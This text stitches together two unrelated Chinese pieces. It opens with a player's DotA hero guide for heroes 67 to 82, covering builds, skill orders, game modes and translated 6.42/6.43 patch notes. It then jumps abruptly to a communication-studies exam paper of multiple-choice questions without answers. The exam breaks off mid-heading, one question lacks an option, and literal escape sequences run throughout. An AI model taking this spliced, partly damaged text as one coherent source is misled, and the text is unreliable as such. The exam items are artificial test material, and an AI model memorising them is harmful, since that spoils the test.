小兵打不掉血\n潮汐是唯一个不怕doom的人\n上手简单\n弱点 后期输出乏力 \n\n67痛苦之源\n天灾第一控场法师 我着实练过一阵子\n死灵书*3 吹风 妖刀 有机会起飞鞋就起 这个英雄很穷这样就不错了 如果还有钱最好出个不朽\n技能 3 2 2 3 2 u 2 + + + u 3 3前期2级睡就够 多点黄点因为这个英雄非常的缺魔上限\n技能都很直接 就不说什么了 \n上手一般 新手慎用 \n弱点 没弱点 非常恶心的英雄\n\n68死灵法师\n非常的好用\n我的路线 精气 飞鞋 镇魂 中间可以出个先锋 然后不朽 A仗 心 妖刀或者刷新\n大根的秒杀路线也还可以 这个英雄出辉耀其实能回很多魔- -看你喜欢了\n辉耀刷钱非常的快 \n技能 1 3 1 3 1 u 1 3 3 2 u2 2 2\n有三技能补会刀就满魔了 前期就机会用1技能打到对方就用把 2技能和不朽先锋叠加 如果出俩个刃甲可以让近战打你一下自己掉的比你还多\n技能都很直接 \n上手一般 \n弱点 没什么明显弱点\n\n69屠夫 \n杀noob很爽 轻易就能超神 \n坚韧 飞鞋 先锋 不朽 \n后期可以起辉耀刷兵 可以刷很多力量 \n技能 2 1 1 2 1 u 1 2 2 3 u 3 3 3 如果速不朽请先出不朽再点3\n不朽对屠夫是很重要的 抗魔让你烧自己烧的少 \n钩子就是练习 经常看见人练习很多天 杀人就是钩过来 咬 烧 如果钩沉默术士先开烧再钩 \n注意钩子是无视防御的物理伤害 必然会造成400伤害 看见红的直接一钩就是100\n钩子出手的时候 请往前走 这样可以把钩过来的卡在你后面 钩人的时候如果他看见你 你可以先追她一段让他跑出规律然后再钩\n如果你钩不到人完全可以先咬 然后再近身钩\n上手难\n弱点 技术差就都是弱点\n\n70裂魂人\n白牛单杀不错\n1-2护腕 疯狂面具 先锋 假腿 晕锤 就可以单杀得很happy 之后可以起飞鞋 心 双刀 \n开始团战就不行了 白牛前期多去杀人 辉耀飞鞋刷钱很浪费 由于玩的时候 远冲锋很容易被发现\n所以可以先放大再冲锋 冲会隐形的就算隐身了也能看到 可以给盟友提供远程视野\n技能 1 3 2 2 2 u 2 3 3 3 u 1 1 1\n上手一般\n弱点 混战的时候很无力\n\n71地穴编织者\n最近越来越多人开始玩他了 以前的时候只有老鸟会用 看见蚂蚁就头疼 6.40还加强了不少\n刷钱就辉耀飞鞋 然后mkb 大炮 冰眼 蝴蝶 注意冰眼只有连击的第二下能出冰冻效果 \n或者就辉耀飞鞋后直接剑盾 蚂蚁起剑盾还是不错的\n速攻 假腿 mkb也可以 蚂蚁和骨头不一样 骨头有得天独厚的乱射技能 是纯dps\n蚂蚁只是一名追杀者 需要装备才能成为dps\n多多打钱比较好 \n技能 2 3 2 + 2 u 2 + 1 + u 3 3 3 + u + 1 1 1 + + + + +\n我的路线 我一般不用眼睛 因为蚂蚁的逃命本事很高 我的意识也还可以 我在9级出一般是我出第一件武器的时候这时候用眼睛找找落单或者打野的杀\n如果你对自己没信心 第4级加1技能 同时让你的眼睛在树林 河道 路口处巡逻 如果你的队友请你升的话 看具体情况升多少及 比如\n对面有小狗chen之类打野的 团战的时候眼睛是要4级并且先满的 这招能省太多钱了dota是一个配合的游戏 保护盟友也是很重要的\n2技能补刀磨学都不错 3技能前期1级就够 如果你觉得干扰补刀前期不升也可以 大决就不说了 \n上手一般 \n弱点 血少 怕沉默 怕抽魔 怕眼睛\n\n72影魔 \n我爱用的英雄\n我比较喜欢出小件 然后杀人 刷剑盾不是不可以 但是浪费影魔的第二技能前期60点imba的攻击力\n1-2幽灵 点金 飞鞋 隐刀 暗灭 bkb 大炮 这样的装备可以大屠杀 影魔由于前期攻击力高 可以在前期攒一大笔钱 迅速装备成型 \n如果要打后期就 隐刀+冰眼 然后刷剑盾 也不错 \n技能 2 3 2 3 2 u 2 3 3 + u +++ 注意有3技能在隐刀大决的时候会被发现 所以动作一定要快 \n641开始 影压流作为主打\n影压的用法 zxc分别代表 200 400 700的位置 先用你右键点一下对方或者对方的后面的地面然后估计距离用相应的影压\n技能 21212112u 这个12很随意加\n物品 瓶子飞鞋跳刀冰眼黑皇雷神大炮 当然刷剑也可以 不过经常死 刷剑不一定保得住\n 杀人zxc炮跳刀再zxc 刷钱杀人都很简单 俩次zxc只要有4次打中基本就秒了\n团p黑皇后跳刀大决然后zxc炮 \n上手一般\n弱点 没有逃命技能\n\n73沙王\n- -虐菜很好用 团战常见 aoe相当强悍\n跳刀 飞鞋 linken bkb 刷新 是我常走的路线\n其实有跳刀根本用不到bkb 个人感觉跳刀比bkb好用多了 如果你不会用跳刀就用bkb把\n技能 1 3 1 2 1 u 1 3 3 3 u +++ 一般2只升1级就算到25也不升4 高级的2技能进入隐形反而慢了\n如果你前期对面两个人对2技能无解的话 你用2压制也不是不行 \n上手一般\n弱点 后期乏力\n\n74斧王\n很好用的英雄 我经常用\n先锋 跳刀 心 不朽 心 心- -基本上就是堆心 \n技能 3 1 1 3 1 u 1 3 3 + u + + + \n2技能没用 由于imba的魔耗 升那个太浪费 浪费技能点成型慢了很多\n如果你非要用2的话可以用 3 1 2 2 2 u 2 1 1 1 的顺序 说实在的 这么升真的只能杀noob 2技能对会玩得人顶多烧几秒\n如果你要用要在小兵都死光的情况下用 然后站在己方小兵前面他要过来就嘲讽 不让他打兵 不过大部分英雄被你这么逼肯定用各技能就解了 \n杀人方法 嘲讽然后斩杀- -非常简单 近战前期对斧王都很难受 \n上手简单\n弱点 后期乏力\n\n75血魔 \n最近拆黑很喜欢的英雄 37里非常的imba\n先锋 辉耀 飞鞋 冰眼 大炮 蝴蝶 我经常刷出全身神装 裸辉耀难度也不大 因为攻击力高出手快 很容易到3800 \n基本上就是看你能不能出辉耀 实在不行的话 狂战斧+1技能刷钱也是可以的\n前期如果战斗激烈 先锋 双刀 也是可以的 毕竟1 技能可以加很多攻击力 \n技能 如果压力小 2 1 3 3 3 u 3 2 2 2 u 1 1 1 1技能的沉默效果非常的好 救命杀人都可以2级就点出作用很大\n如果压力很大 2 3 2 3 3 u 3 1 2 2也是可以的 2技能4级的时候越塔杀人就很方便了 用大的时候不要随便就用 确定他必须要跑得时候再用 经常看见\n小白上来就给我一个大 然后上来打我 - -我经常原地把他抡跑 血魔的精髓还是前期追杀 不用老想着杀满血 杀满血的后期的事\n血魔的三技能 隐形的可以在小地图上看到 但是大地图上看不到 虽然看不到但是能打 A地面就行\n技能如果点到地面的地方恰好是他身上也会出效果\n上手一般\n弱点 血少 需要farm\n76 地狱领主\n47现在真是bt拉 谁也压不住 \n裸辉耀不错 除非你被强力英雄压制的很凄惨 问题应该还是不大的\n辉耀 飞鞋 心 不朽后 可以散失转分身 因为霜之哀伤可以和烧魔，残废和电锤叠加 47想杀人无非追着打 双刀可以加自己的速度 散失可以减对方的速度 如何取舍就看你自己了\n\n前期被压惨了 点金 双刀 也是可以用用的 \n2护腕 疯狂面具 晕锤/水晶/电锤/散失 之类的小武器可以让你前期杀很多人 这么打的话你再想转 肉盾就难了 虐菜用吧\n\n技能 2 1 2 3 2 u 2 1 1 1u 3 3 3 \n很多人问我前期干吗用1级3 - -纯属个人习惯 完全可以无视全加1\n死亡缠绕可以当做破盾的引子 多利用这个二连击\n上手简单\n弱点 真没什么弱点\n\n黄昏酒馆\n\n77幽鬼\n幽鬼不是一个新手能用好的英雄 需要大量练习 在老鸟手里幽鬼非常的可怕 这个英雄非常的imba\n我的路线 先锋 辉耀 飞鞋 散失 冰眼 分身 蝴蝶 如果没有肉盾 辉耀后堆心也不错 反弹非常bt\n穷人路线 点金 飞鞋或者假腿 先锋 双刀 散失 分身 \n堆心反弹路线也是可以的\n技能\n1 3 1 3 1 u 1 3 3 + u 2 2 2 2 \n2技能前期用不上 其实后期也用不上 。。主要条件太苛刻 需要600码内没有自己人 不过真要是用到了倒是非常好用 注意分身可以继承这个效果 所以真要是一个人被你撞见 你要是有分身斧这人就疯了\n1技能点人就跟锤子一样 是肯定中的 就算他拐弯 点地面会直线走2000码 持续7秒 幽鬼在上面无视地形 没有碰撞体积 主要跨地形的时候鼠标一定要慢慢的点过去才会过去 点远了它会自己绕\n3技能 反弹的时候有0.5眩晕 可以中断很多技能 比如屠夫想咬是很困难的 \n大决非常的奥义 用之后用r可以代替其中一个鬼影 追杀偷袭保命都不错 这个英雄需要太多的练习\n上手难\n弱点 非常吃装备 需要farm\n\n78 巫医\n51现在用的人还是少 很强的英雄\n点金 精气 跳刀或者隐刀 在没有面积stun的情况下用隐刀更好一点 如果用跳再出个bkb把 隐刀就不用了 然后A仗 有机会起飞鞋就起\n技能 1 3 3 1 3 u 3 1 1 2 u 2技能在没有回魔的情况下不是很好用 3技能非常的恐怖极强的debuff 中了诅咒 满血被打倒半血以下一般就是死的命了\n可以在对话框复制一句北斗神拳里的“你已经死了”备用 -。- 还有就是经常有人出大根 跳刀 诅咒 晕 大根 蛇棍 单杀的确强悍\n如果没跳就先晕再诅咒 \n上手难 \n弱点血少 诅咒释放需要近身\n\n79黑耀石毁灭者\n非常让人无语的英雄 后期往往3-4下普攻就能杀一人 天灾第一dps\n路线如果前期发展顺利就神秘法仗 a仗 如果不顺利就精气 风仗 如果想用点金也可以 一般来说 我直接起飞鞋 然后就懒得\n出点金了 a仗路线的话然后补个妖刀 风仗路线就补A仗 之后再出妖刀 之后就堆A仗 能堆多少是多少。。。\n刷新我用过感觉效果一般出刷新不如出bkb \n技能solo的话 2 3 2 3 2 u 2 3 3 1 u 1 1 1\n不solo 1 2 3 之后 选择 2和1要看对方 如果是敏捷和力量就用23 如果是智力就用13\n前期杀人先用2技能把人换出去3次 然后开大 不死再补一下 4级2换一次可以给大决增加160伤害 前期可以不停的用2 即让对方没魔\n又给自己增加普攻 \n更新一个新打法\n技能只点2，黄点 ult 物品先堆神秘法仗 靠大招杀人 想玩bt的aoe就这么玩\na仗*4+刷新\n上手难 \n弱点血少 需要大量farm\n\n80术士\n几乎是现在的压制之王 一直被削弱\n装备飞鞋 刷新 冰眼 应该就没钱了 \n也可以出死灵书刷新妖刀之类的\n技能 2 + 2 + 2 u 2 ++ + u 1 1 1 1 u+ +1技能前期没用 但是一开始团战要立刻加满 团p的时候配合 剧毒新星 诅咒 刷新天雷等极强aoe会有很好的效果\n加速场前期gank的时候就很有用了 用好了非常可怕 2技能不用说了 打家劫舍都用这个 大决地狱火前期实在很bt \n上手 一般\n弱点 散失之刃\n\n81 狗头人- -忘记名字了\n这个英雄我第一次用就超神了 然后后面弱点被人知道了就再也没超过 其容易死的程度令人发指 没有apm的人千万不要用\n装备 hod 群补 圣殿 假腿或者飞鞋 死灵书 hod流还好用些 这么多应该就差不多杀人很简单了 吸血鬼的饰品也很合适 这英雄打得就是前期 \n技能 1 3 1 3 1 u 2 1 3 3 u 2 2 2\n1技能网2秒 cd 8秒 当你有三个分身后可以无限网 2技能很多人没看懂 因为是英文版的 可以让狗头人在狗头人之间瞬移 （>.<好变扭的话） 在飞走和到达的瞬间可以给周围造成aoe伤害\n也就是如果4个狗头人一起原地飞可以给周围造成8次aoe伤害 这个技能我还没见过用得好的 但是可以想到 如果用的好是一个可怕的技能\n3技能就简单多了 造成伤害减速可叠加 伤害还是挺客观的 \n用这个英雄快速积累经验迅速升级 等级是狗头人最需要的东西 分身只能靠等级强化 一旦需要gank就用2技能同时到达一起 \n否则就分散打钱吃经验后者打野 当你装备差不多的时候就要玩命配合杀人 阻止对方顺利成长 同时要求队友push 等级优势是很明显的 我经常25级 第二名也就16级 如果你的apm够高肯定做的比我要好\n随时注意你的分身 因为太容易死了 \n上手 极难\n弱点 分身血少的超越神了\n\n82 巨魔牧师 - -也忘记名字了\n这是一个辅助极强的英雄 如果你有一颗为民服务的心就用吧\n装备 死灵书 妖刀 冰眼 我觉得非常理想的装备 能起飞鞋就起吧\n技能 3 1 3 1 1 u 1 1 3 3 2 u 2 2 2\n1技能解释是发射一枚毒镖 3秒后溶化 在这3秒造成减速效果 效果会在3秒内加强 基本上第三秒人就动不了了-0- 然后7秒造成7*28的物理伤害 前期杀人基本就靠这个\n减速效果非常明显 2技能给自己人+防或者给敌人减防 由于效果是慢慢加的 虽然最后可以造成16防的变化 可是效果其实不好 因为gank一般不会用那么长时间\n3技能给人加血的治疗链同时对周围造成伤害 出死灵书后可以给小人加血同时对周围造成伤害 如果敌人周围有许多你的小兵用一个效果非常好 如果用hod流也非常棒\n大决非常的无耻 41版本后加了持续时间 把人死亡时间缩减到20%（我觉得好像是30%) 死了不掉钱 同时给杀死你的英雄造成150 300 450的伤害 在41版本 大决只持续5分钟 cd150秒\n40版本由于cd太短造成了非常可怕的效果 谁也不怕死了。。\n上手 难 \n弱点 血少\n总算写完了 累死了\n\n出门的装备\n1 随机700 常规模式的点选 625 ap模式的点选 450 ar模式的repick 300 lm模式 450 \n正常模式出兵在90秒的时候 也就是说你可以等80块钱左右\n新手我建议一定买ror（恢复戒指） 几组吃树后再选择回蓝或者圆环树枝 强烈不建议买鞋出门 或者恢复戒指+回蓝面具+吃树 很多英雄都适用\n高手的话 显然鞋 圆盾 力量手套敏捷靴子之类的都有可能用到我就不说了 \n\n最后说下模式 \n大部分人只玩过ap/ar/tr/em等 还有很多模式 ar+mm 镜像随机 在1分钟的时候 双方有一样的英雄出现 适合比拼技术 注意用这个就不要随机了 否则你会有俩英雄\nsh 10一样的英雄- -想象下吧 10个一样的英雄有多么好玩的事情发生。。 sc超级士兵模式 wtf模式 扯淡模式 需要半数人一起打 所有技能0cd不耗魔\n-moderandom 随机模式 给想不出用什么模式的人预备的 vr模式 非常棒的模式 可以10人打-option 1/2/3 投票 决定3种电脑随机抽出的3种组合 -rv 我没试过 对方给对方选英雄 双方人数一样才能启动\n-dm 死亡竞赛 双方每死一个英雄你方就永远失去他 重新再选择一个 没有能选的时候你们就输了 这个模式一定不要开ap dm模式最好跟id一起选 id模式死了不掉钱 随机掉落物品\n马上要出夺旗模式了 熟悉雷神之槌的同学肯定玩过 一定很好玩\n\n下面要说的是法球效果问题 物品法球分身只有近程分身可以继承消魔法球 其他物品法球无法继承\n但是即使你拿了冰眼和散失 也不会形成本体冰眼分身散失的效果 冰眼覆盖散失后 分身就没有散失效果了 远程冰眼和吸血是可以叠的（对原理感兴趣可以pm或者+我q 原理很复杂）其他看表\n\n \n \n \n\n6.41中文总算出了 国内目前完的都是这个版本 \n这是目前642643的改动\n642改动一览\n半人马酋长-> 还击从 60/30 近战/远程 改为 50/50\n* 黑曜石毁灭者 -> 稍微改良了施法动画\n* 受折磨的灵魂 -> 脉冲新星不再触发精气光环\n* 影魔 -> 减少了Shadowraze（1技能）AOE范围\n* 斧王 -> 降低了战争饥渴施法费用和冷却时间（耗蓝75/85/95/105，CD 25/20/15/10）\n* 幽鬼 -> 检查一个英雄是否受荒芜影响的范围降低\n* 流浪剑客-> 强化了坚韧光环\n* 幻影刺客 -> 闪击的距离随等级增加\n* 屠夫 -> 现在钩能中断持续动作\n* 地穴编织者 -> 观察者不再魔法免疫\n* 狗头人-> 克隆体现在得到本体附加属性的40%加成\n* 水晶室女 -> 辉煌光环和神殿指环能够叠加\n* 月亮女祭司 -> 稍微减少了艾露恩之箭的碰撞区域\n* 半人猛犸-> 在两极反转的冷却时间不再随等级增加\n* 地穴刺客 -> 高等级的法力燃烧施法距离略微增加\n* 巨魔战将 -> 4级狂战士之怒增加额外的移动速度\n* 刚背兽-> 降低了5点移动速度而且尖刺喷发迭加次数有上限\n* 剧毒术士-> 瘟疫守卫现在耗费更少的法力并且提供较少的金币（消耗法力25-〉20）\n* 熊德-> 当你召唤熊灵，而它已经被召唤的时候，不再消耗冷却时间而什么都不做，而是返回一个错误信息\n* 水晶室女 -> 强化了辉煌光环一点点（现在每级0.6/s的回蓝）\n* 幻影长毛手 -> 改变灵魂之矛抛射体的模型\n* 宙斯 -> 英雄图标改变\n* 熊战士 -> 激怒图标改变\n* 复仇之魂 -> 移行换位加了一个视觉效果\n* 宙斯 -> 静力场增加了一个新的视觉效果\n* 剑圣 -> 无敌斩加了新的视觉效果（巨魔那种红光）\n* 斧王 -> 淘汰之刃触发必杀时增加了新的视觉效果 (86864)\n* 痛苦元素 -> 蚀脑加了新的动画\n* 灵魂熊 -> 根须缠绕不再对Roshan有效\n* 光之守护者 -> 解脱的灵魂和幻火现在将会显示攻击弹道\n* 龙骑士 -> 龙形态的说明提到它增加移动速度\n* 给狂战士的怒吼、转化（谜团）、智慧之刃、引爆（地精工程师）、光之箭、协同（熊德）换了新的图标 (thx snork, Black_tan, K_Prime, Mihai, L()RK@N_15, Amadi and switch) \n* 斧王 -> 英雄释放淘汰之刃时的动画改变\n\n==[物品]==\n\n* 新项目 -> Hood of Defiance 寻衅兜帽（暂译）\n* 新项目 -> Assault Cuirass 冲击装甲（暂译）\n* 新项目 -> Bloodstone 血石（暂译）(可在酒馆光环处拆分)(116735)\n* 撒旦之邪力 -> 主动技能改变（无魔法消耗，+30攻击力,15%额外吸血,持续20秒,CD50秒）\n* 铁意头盔 -> hp恢复从+2增加到 +3\n* 圣剑 -> 现在它可以主动扔下\n* 吸血鬼的祭品 -> 伤害加成现在是一个光环效果 (只在近战英雄身上, 小兵不享受)\n* 狂战斧 -> 分裂范围 从 200 到 225\n* 梅肯姆斯-> 持续效果不再被玄冥盾牌覆盖\n* 圣殿指环 -> 点击可以在影响小兵防御和不影响小兵防御两种形态之间转换\n* Eul的神圣法杖 -> 削弱了吹风的冷却时间（延长）\n* 蝴蝶剑 -> 蝴蝶从 25/25/25/25到30/30/30/30 和配方从 1400 到 1800\n* 死灵书-> 降低了法力燃烧的量一点点\n* 瓶子 -> 当装神符的瓶到时间时, 会使用神符而非浪费掉它 (122057)\n* Essifation 的远古祭祀 -> 移除了购买时候的冷却时间\n* 2种侦查守卫 -> 改变了一点点\n* 减少了所有的其他物品购买时的冷却时间\n* 雷神之槌-> 图标改为论坛上的一个建议 (102574)\n* 宝石和哨岗守卫 -> 为玩家改良了物品提示(118074)\n* Essifation 的远古祭祀 -> 有了状态栏图标\n* 死灵书-> 改进了3级死灵书的物品提示\n* 大炮和水晶剑在物品说明上列出了致命一击几率\n* 配方不再需要木材, 现在会给你一个恰当的错误提示\n\n\n\n==[游戏模式与指令]==\n\n* 调节了-rd模式下的起始资金，使将会有与普通手选模式下相同的资金 (现在它比普通模式稍微少一点)\n* 使 月亮女祭祀/术士/炼金术士能够在-lm下使用，术士能在-rd模式下使用\n* 加入了-om(onlymid，仅中路模式)由于大众的需求而提供，只有中路会出小兵，塔能够被攻击\n* 为单人模式加入了 -powerup（刷神符） 和 -neutrals （刷野怪）指令\n* 新增了 -nd(no death timer, 立即重生) 和 -lives xx(最多xx条命) 作为-dm模式的附加指令\n* 为屠夫增加 -fleshstr 指令看你从3技能得到了多少力量\n* 新增了 -deathon/off (-don/off) 来开关一个新的死亡计时器而不需要打开记分板看你的再生时间\n*-cson 的 k/d 值现在显示在联合面板的标题栏里\n*-showdeny 默认为观察者开启\n* 攻城单位被加入到 -cs 计数里\n* 天气指令是现在使用者特性，因此，当你的盟友那里下雪的时候，在你这里可以下雨而且其他人什么也没有 (-weather rain, -weather snow, -weather off)\n* 在-ma的输出前增加额外的空白行, 使得在附近用了其他指令时更加易读\n\n==[地图与杂项改动/修正]==\n\n* 修改了复活盾和 Roshan 。 复活盾现在在 Roshan 处掉落。 (只有一次十字章效果，可丢弃) 你不能手动合成它。 Roshan 现在比较弱了，失去了近战伤害反弹。 在他被消灭后10分钟后会再生并变得更强更大 (从他被杀的时候, 不是游戏开始时算起)\n* 在左上和右下增加一家新的秘密商店含有限量物品(只有一个圆盾和一个铁意头盔) \n* 从 60 分钟时远程小兵数量增加为2，改为 45 分钟。 攻城单位也随之变动。 近战小兵升级频率也快过以往\n* 当第一波小兵出现前有号角声 (75198)\n* 小鸡/乌鸦能不再卖物品 (已经在游戏中被长期滥用。 配方卷轴的高售出价只是为了在一定程度上对抗误点)\n* 移除了木材的内部用法\n* 当一位观察者离开游戏会发出通知\n* 一个游戏计时器取代木头和人口数加入顶部窗口\n* 当一队获胜时移除战争迷雾 (111691)\n* 现在符文产生的幻象持续较长时间 (40s->60s)\n* 移除了人口的内部用法\n* 为中立生物技能说明附加冷却时间\n* 当一个玩家离开的时候, 他的英雄名字在玩家名字之后出现\n* 修正混乱雨里地狱火的持续时间的排版错误\n* 修正疯狂生长中的排版错误\n* 修正如果是-sp模式并且有观察者在场时，第一滴血被显示为白色\n* 修正侦查守卫状态栏被写成哨岗守卫 (123887)\n* 修正了在 -sp模式下观察者的计分版被移除的bug\n* 修正了3级叉状闪电的目标数量上的排版错误\n* 修正了 Meepo 带复活盾时的错误\n* 修正了回音击的伤害比声称的少的问题 (少了7点)\n* 3级灵魂熊 HP上修正了一个排版错误\n* 将所有的辉煌光环恢复量从百分比改为数值，因为它本身就是这样，只是物品提示有一些误导\n* 修正了树人和德鲁伊的声音配置 (79352)\n* 修正了用 Shadowraze 杀守卫的bug\n* 修正了时光漫步时一些较的控制问题\n\n\n==[新物品]==\n\nAssault Cuirass\n板甲\n振奋宝石\n锁子甲\n卷轴（2000）\n\n+10 防御\n+5 防御光环\n-5 对方防御光环\n+40% 攻击速度\n+15% 攻击速度光环\n\nHood of Defiance\n流浪法师斗篷\n铁意头盔\n回复戒指X2或者治疗指环\n\n30% 魔法防御\n+8HP/S\n\nBloodstone \n振魂石\n坚韧球\n\n+450 HP\n+400 Mana\n+110% 魔法回复\n+5 HP/S\n赎罪 (被动)\n—如果持有人死了，附近的盟友回复450HP/MP；\n—在英雄等待复活期间能得到他死亡的地点的经验和视野；\n—英雄复活快20%并减少40%的死亡损失金钱\n—如果该物品能量用完，那么死亡奖励会被中途停止；\n—可以通过杀死对方英雄充能，并因为死亡而消耗能量；\n643 改动一览\n* 新模式 -xl(扩展联赛模式) \n* 为了近卫军团更容易接近，重做了Roshan地区(在那里有许多可用的技巧，不仅仅是简单的地形改变) \n* 修理了多个英雄的bug \n* 重写了死亡计时器的代码。它现在更准确了(之前有偏差，你的复活速度并不比以前快) \n* 物品的坚韧光环不再叠加 (吸血鬼的祭品/圣殿指环/Assault) \n* 修正了撒旦邪力具有额外吸血的bug \n* 梅肯,变体精灵的属性转化和chen的上帝之手使死亡计时器不正确显示的bug被修正 \n* 新的秘密商店现在出售魔瓶 \n* Sven的坚韧光环被改回去了一点点（现在2/3/4/5） \n* 修补匠不能再刷新秘法指环了 \n* 由于上个补丁中增加了后期小兵的数量，现在稍微地减小了小兵的碰撞体积 \n* 近卫的远程小兵现在与天灾的远程小兵有相同的回血速度 \n* 现在当梅肯姆斯和血石的使用者由于效果叠加而不能确实的治疗时会提示他们 \n* 观察者会少掉一些金币(因为他们易受辉耀的伤害) \n* 修正各种文字错误 \n* 圣殿指环的能力不再对精气光环和沉默诅咒有效 \n* 小纳加的歌能够正确地睡眠她视野外的单位了 \n* 现在你买能被拆分物品的时侯会告诉你 \n* 修正了能让你用小鸡卖掉不能卖的物品的bug \n* 修正了冰封王座不能像世界之树那样提供吸血能力的bug，事实上是两边都不能了 \n* 辉耀的攻击力从70降到60 \n* 幻影刺客的闪击范围这回确实变远了 \n* 复活时间计时器现在默认为开(-don) \n* 侦察守卫现在持续时间稍长一点（8分钟） \n* 减少了地狱领主的的5点移动速度 \n* 暂时在-dm模式中禁用狗头人来修正一些bug \n* 神出鬼没和洛萨之锋打破隐身的一击不再跳出"0!" \n* 关掉腐烂的图标现在更明显 \n* 狗头人分身的奖励属性从40%降到25% \n* 强化了不稳定化合物 (当你引导施法的时候能够锁定目标的视野) \n* 对炼金术士的多项削弱: 酸雾 AOE(700-550), 酸雾耗蓝 (120->160)、力量成长(2.4->1.8),智力成长(1.5->1.0), 降低1级终极技能的生命回复速度, 贪婪的持续时间(20->18), 贪婪的金币奖励上限(20->18),移动速度 (300->290) 但是他2级和3级的终极技能给他加了一点点移动速度,稍微降低了初始护甲 \n* Roshan掉的奶酪现在的治疗量和写的一样了 \n* 修正-mm模式中出兵的声音响得过早的bug\n
!传播学概论试题\n\n第一部分 选择题(共40分)\n\n一、单项选择题(本大题共30小题，每小题1分，共30分)\n\n在每小题列出的四个备选项中只有一个是符合题目要求的，请将其代码填写在题后的括号内。错选、多选或未选均无分。\n\n1.在西方马克思主义中，最早提出“文化霸权”理论的学者是( )\n\nA.卢卡奇 B.葛兰西\n\nC.哈贝马斯 D.马尔库塞\n\n2.人们常常比较容易回忆起在报刊、广播、电视报道中占显著位置的新闻，这一现象\n\n印证了( )\n\nA.认识连贯论 B.认知不和谐论\n\nC.实用论 D.可获得性(易得性)论\n\n3.针对信息革命实质的问题，美国学者贝尼格尔提出了 ( )\n\nA.控制革命的观点 B.第三次浪潮的观点\n\nC.媒介一人体的延伸 D.信息革命与信息爆炸\n\n4.在“使用与满足”的早期研究中，使用的方法主要是( )\n\nA.面访记录法 B.心理实验法\n\nC.实地调查法 D.内容分析法\n\n5.20世纪30-40年代改进舆论调查方法，并取得研究成果的代表人物是( )\n\nA.李普曼 B.卢因 \n\nC.盖洛普 D.拉斯韦尔\n\n6.使受众的判断能力和主动精神受到不利影响的是( )\n\nA.文化传递的功能失调 B.授予地位的功能失调\n\nC.社会协调的功能失调 D.娱乐功能失调\n\n7.美国政府在60年代为缓解贫富儿童受教育机会的不平等而制作的著名的儿童启蒙教育电视片是( )\n\nA.《米老鼠与唐老鸭》 B.《猫和老鼠》\n\nC.《芝麻街》 D.《汤姆历险记》\n\n8.互联网是( )\n\nA.单一型媒介 B.复合型媒介 \n\nC.第三媒介 D.传统媒介\n\n9.传播活动是一种( )\n\nA.客观现象 B.主观现象 \n\nC.心理现象 D.社会现象\n\n10.把关人所处的位置，就是卢因指出信息在传播渠道中流通必经的( )\n\nA. B.门户 \n\nC.门区 D.枢纽\n\n11.从说服传播的长期效果来说，最终起决定作用的是( )\n\nA.信源的可信性 B.媒介的权威性 \n\nC.传播对象的自身属性 D.内容的说服力\n\n12.杂志在传播媒介的竞争中采取的主要对策是( )\n\nA.增插静态图像 B.注意扩版 \n\nC.向专业化方向发展 D.模仿报纸的做法\n\n13.创新与普及的研究表明，“知识沟”的根源在于不合理的( )\n\nA.社会政治结构 B.社会经济结构 \n\nC.社会教育结构 D.社会文化结构\n\n14.在控制研究领域中，探讨传播者究竟为谁传播、为什么传播等重大问题的是( )\n\nA.耶鲁学派 B.哥伦比亚学派 \n\nC.传统学派 D.批判学派\n\n15.“有限效果论”注重考察的是具体传播活动的( )\n\nA.微观效果 B.宏观效果 \n\nC.长期效果 D.潜在效果\n\n16.会分散和冲淡受众对重大问题注意力的传播内容是( )\n\nA.新闻性信息 B.娱乐性信息 \n\nC.消息性信息 D.维持性信息\n\n17.有关自然灾害和战争威胁的报道，体现了大众传播社会功能中的( )\n\nA.社会动员 B.社会规范 \n\nC.环境监测 D.社会协调\n\n18.针对传播主体展开的研究是( )\n\nA.内容分析 B.议题设置 \n\nC.媒介研究 D.控制研究\n\n19.传播学和新闻学的研究对象( )\n\nA.区别很大 B.完全相同 \n\nC.各不相同 D.有重合之处\n\n20.“编码与释码”理论的提出者是( )\n\nA.霍尔 B.萨尔瓦焦 \n\nC.贝尔 D.罗杰斯\n\n21.各人的心理差异影响他们对信息刺激物的挑选及其对信息刺激物意义的解释，这种看法出自( )\n\nA.社会分类论 B.个人差异论 \n\nC.社会分化论 D.社会关系论\n\n22.媒介的“高清晰度”指的是( )\n\nA.字迹清晰 B.声音清楚 \n\nC.信息的明确度高 D.画面清晰\n\n23.霍克海默和阿道尔诺用“文化工业”这个术语指称( )\n\nA.流行文化 B.通俗文化 \n\nC.大众文化 D.商业文化\n\n24.在调查问卷上，适宜于放在前面的问题是( )\n\nA.有难度的 B.敏感性的 \n\nC.容易回答的 D.反映主要情况的\n\n25.大众传播基本上是信息的\n\nA.双向沟通 B.多向传递 \n\nC.单向流动 D.循环往复\n\n26.批判学派可以追溯到( )\n\nA.霍夫兰学说 B.功能主义 \n\nC.信息论 D.法兰克福学派\n\n27.受众收听、收看轻松愉快的信息内容，主要的动机是( )\n\nA.满足信息需求 B.追求娱乐与消遣 \n\nC.获取知识 D.交往的需要\n\n28.个人之间面对面的信息交流被称为( )\n\nA.人际传播 B.自我传播 \n\nC.群体传播 D.网络传播\n\n29.大众传媒的授予地位功能，可使个人和集体的地位( )\n\nA.规范化 B.合法化 \n\nC.合理化 D.标准化\n\n30.“小道消息”不胫而走，造成信息的误传和混乱，这说明了信息富于( )\n\nA.传递性 B.扩散性 \n\nC.扩充性 D.共享性\n二、多项选择题(本大题共5小题，每小题2分，共10分)\n\n在每小题列出的五个备选项中有二至五个是符合题目要求的，请将其代码填写在题后的括号内。错选、多选、少选或未选均无分。\n\n31.在大众传播中，来自受众的信息反馈是( )\n\nA.及时的 B.有限的\n\nC.滞后的 D.大量的\n\nE.真实的\n\n32.口语传播的局限性主要体现在( )\n\nA.缺乏亲切感 B.传播距离有限 \n\nC.不利于信息的保存 D.传播范围有限\n\nE.表达不自然\n\n33.巴斯的把关模式中，“双重行动”是指( )\n\nA.新闻加工 B.新闻编辑 \n\nC.新闻策划 D.新闻报道\n\nE.新闻采集\n\n34.非随机抽样的主要形式有( )\n\nA.等距随机抽样 B.判断抽样\n\nC.整群抽样 D.雪球抽样 \n\nE.多阶段抽样\n\n35.格伯纳将大众传播比喻为现代社会的( )\n\nA.故事讲解员 B.熔炉 \n\nC.文化武器 D.镜子\n\nE.看不见的手\n\n第二部分 